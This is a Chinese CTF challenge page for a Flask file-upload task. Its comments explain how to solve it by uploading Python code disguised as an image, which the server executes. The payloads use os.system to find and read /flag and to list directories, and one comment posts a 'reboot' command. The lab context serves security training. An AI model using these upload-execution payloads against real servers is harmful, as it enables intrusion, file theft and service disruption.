Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12650
提  示:
描  述:
Flask_FileUpload
评论
66295112 3年前

常规 按F12,看到一句话,你所上传的文件都会以python的方式返回结果。 哦了,然后上传 ,首先创建一个a.txt,写入 import os os.system('find / -name flag') //查找flag所在文件路径 然后改后缀为png即a.png后以图片上传,代码被执行,发现 /flag 在notepadd++中打开a.png,在后面添加一行 os.sy

回复 1

kaer 3年前

import os os.system('ls / -l') 命名为dir.png import os os.system('cat /flag') 命名为flag.png 上传两次 ls / -l 列举出文件的类型可以看出flag不是目录文件

回复 0

Adaneo 3年前

python代码执行,f12源代码中有执行的结果显示。神奇的代码,大佬就是大佬啊!

回复 0

3055 3年前

import os 换行 os.system('cat /flag')

回复 2

DragonFly 3年前

import os os.system("reboot")

回复 0
tomcatkeep 3年前

("c2hhYmkgc3VucmVuYnVsaWpp")

回复 0

k19551429 3年前

场景有问题

回复 0

Hobin 3年前

这个写wp的人很厉害啊

回复 0

Hobin 3年前

这个写wp的人很厉害啊

回复 0

TamiQ 3年前

vi test.jpg 内容是 import os os.system('find / -name flag') 然后吧test.jpg上传上去,看下响应中flag文件的位置,然后把jpg的内容改成cat flag的位置,就可以了

回复 1

wangning 3年前

我们首先建一个test.py的文件,内容是python代码 import os os.system('ls -la'),因为只能上传jpg/png的格式,所以我们把文件名修改成test.jpg,系统会返回当前文件夹,以此我们得出结论,上传文件可以执行命令,我们用burp抓包,我们把代码改成 import os os.system('cat /flag'),放包,按F12就可以看到flag

回复 2

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

anton_小金鱼 攻破了该题 1天前
cha8e1 攻破了该题 1天前
yehlg 攻破了该题 2天前
yu'c 攻破了该题 3天前
avaclaire 攻破了该题 3天前
Kernel1 攻破了该题 3天前
脚本gay 攻破了该题 3天前
YS_JW 攻破了该题 4天前
池屿 攻破了该题 4天前
wujita01 攻破了该题 5天前
hsk_zy 攻破了该题 5天前
zhuguangsen 攻破了该题 5天前
Hackerchen 攻破了该题 6天前
mmhhdm 攻破了该题 6天前
yangyy 攻破了该题 6天前
simple9527 攻破了该题 6天前
bugfuck2 攻破了该题 6天前
Motona_Sky 攻破了该题 7天前
kitniu 攻破了该题 9天前
nanaqilin 攻破了该题 13天前
问题反馈